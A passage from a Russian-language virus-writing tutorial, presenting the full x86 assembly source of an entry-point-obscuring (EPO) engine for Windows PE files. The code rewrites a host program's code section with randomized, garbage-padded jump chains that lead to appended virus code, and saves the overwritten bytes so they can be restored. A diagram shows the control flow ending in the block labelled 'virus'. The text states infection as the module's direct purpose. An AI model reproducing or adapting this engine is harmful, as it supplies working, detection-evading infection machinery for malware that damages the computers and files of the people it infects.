;          		     NO INPUT IN SUBROTINE                             ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;									       ;
;               	     RANDOM REGISTER -> EAX                            ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
rnd_reg:                                           
                                                   ; Подпрограмма получения
					           ; случайного регистра

		mov	eax,8                      ; Получаем случайное число
		call	brandom32                  ; в диапазоне 0..7
		ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
mega_table:
		dw	instr_x87  -delta_offset   ;
		dw	instr_movr -delta_offset   ; 
		dw	instr_push -delta_offset   ; 
		dw	instr_shl  -delta_offset   ; 
		dw	instr_cmp  -delta_offset   ;
		dw	instr_xor  -delta_offset   ;
		dw	one_byte   -delta_offset   ;
		dw	instr_movc -delta_offset   ;
		dw	instr_je   -delta_offset   ; Таблица относительных
		dw	instr_je2  -delta_offset   ; смещений от метки 
		dw	instr_l32  -delta_offset   ; delta_offset
		dw	instr_jmp  -delta_offset   ;
		dw	instr_lea  -delta_offset   ;
		dw	instr_test -delta_offset   ;
		dw	instr_not  -delta_offset   ;
		dw	instr_xchg -delta_offset   ;
		dw	instr_a32  -delta_offset   ;
		dw	instr_a16  -delta_offset   ;
		dw	instr_cl   -delta_offset   ;
;------------------------------------------------------------------------------;
one_byte_opcode:
		std                                ;
		cld                                ; Таблица однобайтовых
		nop                                ; инструкций
		clc                                ;
		stc                                ;
		cmc                                ;
		db	0f2h                       ; rep
		db	0f3h                       ; repnz
;------------------------------------------------------------------------------;
three_byte_opcode:
db		0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh ; Таблица трёхбайтовых
db		0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh ; инструкций
;------------------------------------------------------------------------------;


	    Теперь мы готовы перейти к листингу нашего мотора:

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                       [SIMPLE EPO TECHNIQUE ENGINE  V. 0.1]                  ;
;                                                                              ;
;	    ###########    ###########    ############   ##############        ;
;	   #############  #############  ##############  ##############        ;
;	   ##             ###        ##  ###        ###       ###              ;
;	   ############   #############  ###        ###       ###              ;
;	    ############  ############   ###        ###       ###              ;
;	             ###  ###            ###        ###       ###              ;
;	   #############  ###            ##############       ###              ;
;	    ###########   ###             ############        ###              ;
;                                                                              ;
;                                 FOR MS WINDOWS                               ;
;                                                                              ;
;                                     BY SL0N                                  ;
;------------------------------------------------------------------------------;
;                                    MANUAL:                                   ;
; ADDRESS OF MAPPED FILE  -> EDX                               		       ;
;                                                                              ;
; CALL EPO                                                                     ;
;------------------------------------------------------------------------------;
;                               MANUAL FOR RESTORE:                            ;
; CALL RESTORE                                                                 ;
;                                                                              ;
; ENTRY POINT             -> EBX                                               ;
;------------------------------------------------------------------------------;
; (+) DO NOT USE WIN API                                                       ;
; (+) EASY TO USE                                                              ;
; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES)                        ;
; (+) USE X87 INSTRUCTIONS                                                     ;
; (+) RANDOM NUMBER OF SPOTS                                                   ;
; (+) MUTABLE SPOTS                                                            ;
; (+) RANDOM LENGTH OF JUMP                                                    ;
;------------------------------------------------------------------------------;
epo:            
		push	esi edi                    ; Сохраняем в стэке esi 
		                                   ; и edi
		mov	[ebp+map_address],edx      ; Сохраняем адрес файла в
		                                   ; памяти
		call	get_head                   ; Получаем  PE заголовок
		                                   ;
		call	search_eip                 ; Вычисляем новую точку
		                                   ; входа
		call	find_code		   ; Ищем начало кода в этом 
						   ; файле
		call	spots			   ; Помещаем туда переход 
						   ; на вирус
		pop	edi esi                    ; Восстанавливаем из стэка
		                                   ; edi и esi
		ret				   ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	                      PE HEADER SUBROUTINE		               ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          	              FILE IN MEMORY -> EDX                            ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;			      NO OUTPUT IN SUBROUTINE			       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

get_head:                                          
						   ; Подпрограмма получения
                                                   ; PE заголовка

		pusha                              ; Сохраняем всё в стэке

		mov 	ebx,[edx + 3ch]            ;
		add 	ebx,edx                    ;
		                                   ;
		mov 	[ebp + PE_header],ebx	   ; сохраняем PE заголовок
		mov 	esi,ebx                    ;
		mov	edi,esi                    ;
		mov 	ebx,[esi + 28h]            ;
		mov 	[ebp + old_eip],ebx	   ; Сохраняем старую точку
						   ; входа (eip)
		mov 	ebx,[esi + 34h]            ;
		mov 	[ebp + image_base],ebx	   ; Сохраняем
                                                   ; виртуальный адрес 
						   ; начала программы
                popa                               ; Вынимаем всё из стэка
		ret				   ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	                    NEW ENTRY POINT SUBROUTINE		               ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          	              NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;			      NO OUTPUT IN SUBROUTINE			       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
search_eip:                                        
						   ; Подпрограмма вычисления
                                                   ; новой точки входа

		pusha                              ; Сохраняем всё в стэке

		mov	esi,[ebp+PE_header]        ; Кладём в esi указатель
		                                   ; На PE заголовок
		mov 	ebx,[esi + 74h]		   ; 	
		shl 	ebx,3			   ; 
		xor 	eax,eax			   ;
		mov 	ax,word ptr [esi + 6h]     ; Количество объектов
		dec 	eax			   ; (нам нужен последний-1
		mov 	ecx,28h			   ; заголовок секции)
		mul 	ecx			   ; * размер заголовка
		add 	esi,78h			   ; теперь esi указывает 
		add 	esi,ebx			   ; на начало последнего  
		add 	esi,eax			   ; заголовка секции

		mov	eax,[esi+0ch]              ; 
		add	eax,[esi+10h]              ; Сохраняем новую точку
		mov	[ebp+new_eip],eax          ; входа

                popa                               ; Вынимаем всё из стэка

		ret				   ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	                  FIND START OF CODE SUBROUTINE			       ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          	              NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;			      NO OUTPUT IN SUBROUTINE			       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
find_code:                                         
						   ; Подпрограмма поиска начала
                                                   ; кода

		mov	esi,[ebp+PE_header]        ; Кладём в esi указатель
		                                   ; На PE заголовок

		mov 	ebx,[esi + 74h]		   ;
		shl 	ebx,3			   ; Получаем 
		xor 	eax,eax			   ; 
		mov 	ax,word ptr [esi + 6h]	   ; Количество объектов
find2:
		mov	esi,edi                    ;
		dec	eax                        ; 
		push	eax                        ; (нам нужен последний-1
		mov 	ecx,28h			   ; заголовок секции)
		mul 	ecx			   ; * размер заголовка
		add 	esi,78h			   ; теперь esi указывает на
		add 	esi,ebx			   ; начало последнего 
						   ; заголовка 
		add 	esi,eax			   ; секции
		mov	eax,[ebp+old_eip]	   ; В eax ложим точку входа
		mov	edx,[esi+0ch]		   ; В edx адрес куда будет
						   ; мапиться
						   ; текущая секция
		cmp	edx,eax			   ; Проверяем
		pop	eax			   ; Вынимаем из стэка eax
		jg	find2			   ; Если больше ищем дальше
		add	edx,[esi+08h]		   ; Добавляем виртуальный 
						   ; размер секци
		cmp	edx,[ebp+old_eip]	   ; Проверяем
		jl	find2			   ; Если меньше ищем дальше

		mov	edx,[esi+0ch]		   ; Далее вычисляем 
						   ; физическое
		mov	eax,[ebp+old_eip]	   ; смещение кода в файле
		sub	eax,edx			   ;
		add	eax,[esi+14h]	           ;
		add	eax,[ebp+map_address]	   ; И потом добавляем базу
						   ; памяти

		mov	[ebp+start_code],eax	   ; Сохраняем начало кода

                or 	[esi + 24h],00000020h or 20000000h or 80000000h 
						   ; Меняем аттрибуты 
						   ; кодовой секции

		mov	eax,[esi+08]               ; Вычисляем размер
		sub	eax,[ebp+old_eip]          ; той части кодовой секции,
		mov	edx,[esi+10h]              ; где можно размещать
		sub	edx,eax                    ; пятна
		mov	[ebp+size_for_spot],edx    ;

		ret				   ; Возврат из процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	                    SPOTS GENERATION SUBROUTINE		               ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          	              NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;			      NO OUTPUT IN SUBROUTINE			       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
spots:                                             
						   ; Подпрограмма генерации
						   ; пятен

		mov	ecx,1                      ; Кладём в ecx единицу
		                                   ;
		call	reset                      ; Подготавливаем данные
		call	num_spots                  ; Генерируем случайное число
		                                   ; это будет кол-во пятен
tred:                                              
		call	save_bytes	           ; Сохраняем затираемы байты
		call	gen_spot                   ; Генерируем пятно

		inc	ecx                        ; Увеличиваем ecx на единицу
		cmp	ecx,[ebp+n_spots]          ; Все пятна сгенерированы
		jne	tred                       ; Если нет, то генерируем

		call	save_bytes		   ; Сохраняем последние байты
		call	gen_final_spot             ; И генерируем последнее
		                                   ; пятно
		ret				   ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	                    SPOT GENERATION SUBROUTINE		               ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          	              NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;			      NO OUTPUT IN SUBROUTINE			       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_spot:                                          
						   ; Подпрограмма генерации 
						   ; одного пятна

		push	eax ecx                    ; Сохраняем eax и ecx

		call	len_sp_jmp                 ; Получаем случайную длину
		xchg	eax,ebx                    ; прыжка пятна

		call	testing                    ; Проверяем, чтобы пятно
		jc	quit2                      ; не выходило за кодовую
                                                   ; секцию
		push	ebx
		xor	bx,bx
		dec	bx
		mov	ecx,[ebp+num1]             ; Генерируем первую партию
		call	garbage                    ; мусора
		pop	ebx

		mov	al,0e9h                    ; 
		stosb                              ;
		mov	eax,0                      ; Генерируем jmp
		add	eax,ebx                    ;
		add	eax,ecx                    ;
		stosd                              ;

		push	ebx
		xor	bx,bx
		dec	bx
		mov	ecx,[ebp+num2]             ; Генерируем вторую партию
		call	garbage                    ; мусора
		pop	ebx

		sub	edi,[ebp+num2]             ; 
		add	edi,[ebp+num1]             ; Корректируем edi
		add	edi,ebx                    ;
quit2:
		pop	ecx eax                    ; Восстанавливаем ecx и eax

		ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	                  LAST SPOT GENERATION SUBROUTINE		       ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          	              NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;			      NO OUTPUT IN SUBROUTINE			       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_final_spot:                                    
                                                   ; Подпрограмма генерации
						   ; финального пятна
 
		push	eax ecx                    ; Сохраняем eax и ecx
		                                   
		jc	not_big                    ; Если длина не превышает
		inc	[ebp+n_spots]              ; размера кодовой секции, то
not_big:                                           ; Увеличим кол-во пятен
		mov	ecx,[ebp+num1]             ; Генерируем мусорные
		call	garbage                    ; инструкции

		push	edi                        ; Сохраняем edi
		sub	edi,[ebp+start_code]       ; Подготавливаем длину jmp'a
		mov	ebx,edi                    ; для последнего пятна
		pop	edi                        ; Восстанавливаем edi

		mov	al,0e9h                    ;
		stosb                              ;
		mov	eax,0                      ;
		sub	eax,5                      ; Генерируем финальное
		sub	eax,ebx                    ; пятно
		add	eax,[ebp+new_eip]          ;
		sub	eax,[ebp+old_eip]          ;
		stosd                              ;

		mov	ecx,[ebp+num2]             ; Генерируем вторую партию
		call	garbage                    ; мусорных инструкций

		pop	ecx eax                    ; Восстанавливаем ecx и eax
		ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	                    SPOTS GENERATION SUBROUTINE		               ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;                        ADDRESS OF SAVING BYTES -> EDI                        ;
;                        QUANTITY OF BYTES       -> EBX		               ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;                            NO OUTPUT IN SUBROUTINE			       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes:
						   ; Подпрограмма сохранения
						   ; заменяемых байт

                pusha		                   ; Сохраняем всё в стэке
		call	length1                    ; Генерируем длины мусорных
		                                   ; инструкций
		mov	ebx,[ebp+num1]             ; Помещаем в ebx первую 
		add	ebx,[ebp+num2]             ; и вторую длины
		add	ebx,5                      ; Добавляем к ebx - 5

		mov	esi,edi                    ; Сохраняем в буфере с 
		mov	edi,[ebp+pointer]          ; начала смещение в памяти
		mov	eax,esi                    ; на сохраняемые байты
		stosd                              ;
		mov	ecx,ebx                    ; После этого сохраняем в
		mov	eax,ecx                    ; буфере кол-во сохраняемых
		stosd                              ; байт

		rep	movsb                      ; И в самом конце сохраняем
		mov	[ebp+pointer],edi          ; в буфере сами байты
		                                   ;
		popa                               ; Вынимаем всё из стэка
		ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	                       RESTORE SUBROUTINE		               ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          	              NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;			      OLD ENTRY POINT -> EBX			       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
restore:
						   ; Подпрограмма 
						   ; восстановления сохранённых
						   ; байт

		cld                                ; Поиск вперёд
		lea	esi,[ebp+rest_bytes]       ; В esi указазатель на буфер
		mov	edx,1                      ; В edx кладём - 1
not_enough:
		mov	edi,[ebp+old_eip]          ; В edi загружаем точку
		add	edi,[ebp+image_base]       ; входа
		mov	ebx,edi                    ; Сохраняем edi в ebx
		lodsd                              ; В eax старое смещение
		                                   ; байт в памяти
		sub	eax,[ebp+start_code]       ; Отнимаем смещение начала
		                                   ; кода и добавляем 
		add	edi,eax                    ; точку входа
		lodsd                              ; Загружаем в eax кол-во 
		mov	ecx,eax                    ; байт и кладём их в ecx
		rep	movsb                      ; Перемещаем оригинальные
		                                   ; байты на старое место
		inc	edx                        ; Переходим к следующему 
		cmp	edx,[ebp+n_spots]          ; пятну
		jl	not_enough                 ; если не все пятна вернули,
		                                   ; то восстанавливаем дальше
quit:                                              ;  
		ret				   ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	               LENGTH SPOT GENERATION SUBROUTINE		       ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          	              NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;			      NO OUTPUT IN SUBROUTINE			       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
length1:
						   ; Подпрограмма генерации
						   ; длин мусорных инструкций
		mov	eax,20                     ;
		call	brandom32                  ; Генерируем случайное число
		test	eax,eax                    ; в диапазоне 1..19
		jz	length1                    ;

		mov	[ebp+num1],eax             ; Сохраняем его в переменную
rand2:
		mov	eax,20                     ;
		call	brandom32                  ; Генерируем случайное число
		test	eax,eax                    ; в диапазоне 1..19
		jz	rand2                      ;

		mov	[ebp+num2],eax             ; Сохраняем его в вторую
		                                   ; переменную
		ret				   ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	                        RESET SUBROUTINE		               ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          	              NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;			      NO OUTPUT IN SUBROUTINE			       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
reset:
						   ; Подпрограмма инициализации
						   ; переменных
		mov	edi,[ebp+start_code]       ;
		                                   ; 
		push	esi                        ; Инициализируем переменные
		lea	esi,[ebp+rest_bytes]       ;
		mov	[ebp+pointer],esi          ;
		pop	esi                        ;

		ret				   ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	             SPOT JUMP LENGTH GENERATION SUBROUTINE		       ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          	              NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;			    LENGTH OF SPOT JUMP -> EAX			       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
len_sp_jmp:
						   ; Подпрограмма генерации
						   ; длины прыжка

		mov	eax,150                    ;
		call	brandom32                  ; Генерируем случайное число
		cmp	eax,45                     ; в диапазоне 45..149
		jle	len_sp_jmp		   ;

 		ret				   ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	                SPOTS NUMBER GENERATION SUBROUTINE		       ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          	              NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;			      NO OUTPUT IN SUBROUTINE			       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
num_spots:
						   ; Подпрограмма генерации
						   ; количества пятен

		pusha                              ; Сохраняем всё в стэке

		mov	eax,40                     ; Генерируем случайное число
		call	brandom32                  ; в диапазоне 1..40
		inc	eax                        ; И сохраняем его в
		mov	[ebp+n_spots],eax          ; переменной

		popa                               ; Вынимаем всё из стэка
		ret				   ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;	                       TESTING SUBROUTINE		               ;
;------------------------------------------------------------------------------;
;			             [ IN ]				       ;
;                                                                              ;
;          	              NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;			             [ OUT ]				       ;
;                                                                              ;
;		                   CARRY FLAG			       	       ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
testing:
						   ; Подпрограмма проверки
						   ; попадения в границу секции

		push	edi eax                    ; Сохраняем edi eax в стэке

		add	edi,[ebp+num1]             ; Добавим к edi 1-ую длину
						   ; мусорных инструкций
		add	edi,[ebp+num2]             ; После этого добавим 2-ую
		add	edi,300                    ; И добавим число в которое
						   ; входит максимальный размер
						   ; пятна + длина его прыжка
		mov	eax,[ebp+size_for_spot]    ; В eax загрузим размер 
						   ; места для пятен и смещение
		add	eax,[ebp+start_code]       ; в памяти точки входа

		cmp	edi,eax                    ; Сравним eax и edi
		clc                                ; Сбросим carry флаг
		jl	m_space                    ; Если edi меньше, то все
		                                   ; хорошо
		mov	[ebp+n_spots],ecx          ; Если нет, то мы уменьшаем
		inc	[ebp+n_spots]              ; количество пятен и 
		stc                                ; устанавливаем carry флаг
m_space:
		pop	eax edi		           ; Вынимаем eax и edi 
		ret				   ; Возврат из процедуры
;------------------------------------------------------------------------------;
pointer		dd	0                          ;
n_spots		dd	0                          ;
                                                   ;
num1		dd	0                          ;
num2		dd	0                          ;
                                                   ; Данные необходимые для
PE_header	dd	0                          ; работы мотора
old_eip		dd	0                          ;
image_base	dd	0                          ;
start_code	dd	0                          ;
new_eip		dd	0                          ;
map_address	dd	0                          ;
size_for_spot	dd	0                          ;
rest_bytes:	db	2100 dup (?)               ;
;------------------------------------------------------------------------------;

В качестве параметра данному мотору передаётся адрес файла в памяти 
(MapViewOfFile). Для восстановления оригинальных байт используется 
подпрограмма restore. Данная подпрограмма в качестве результата возвращает адрес
начала программы в регистре ebx.

			Рассмотрим примерную схему работы мотора:

		|------------------------------------------|
		|             Заголовок программы          |
		|  (в нём указан адрес запуска программы)  |
		|------------------------------------------|
		|                   .....                  |
		|         Здесь идут различные секции      |
		|                   .....                  |
		|------------|-----------------------------|
	        | jmp spotN2 |-----|                       |
		|------------|     |                       |
	        |               |--V---------|             |
	        |      |--------| jmp spotN3 |             |
	        |      |        |------------|             |
	        |------V-----|                             |
	|-------|  jmp virus |                             |
	|       |------------|   Кодовая секция            |
	|	|------------------------------------------|
	|	|                   .....                  |
	|	|         Здесь идут различные секции      |
	|	|                   .....                  |
	|	|------------------------------------------|
	|------>|                   .....                  |
		|         	    ВИРУС                  |
		|                   .....                  |
		|------------------------------------------|

Для чего может использоваться данный модуль? Данный модуль можно с большой
эффективностью использовать при моделировании навесных защит исполнимого кода,
помимо его прямого назаначения.

;------------------------------------------------------------------------------;
								       slon 2003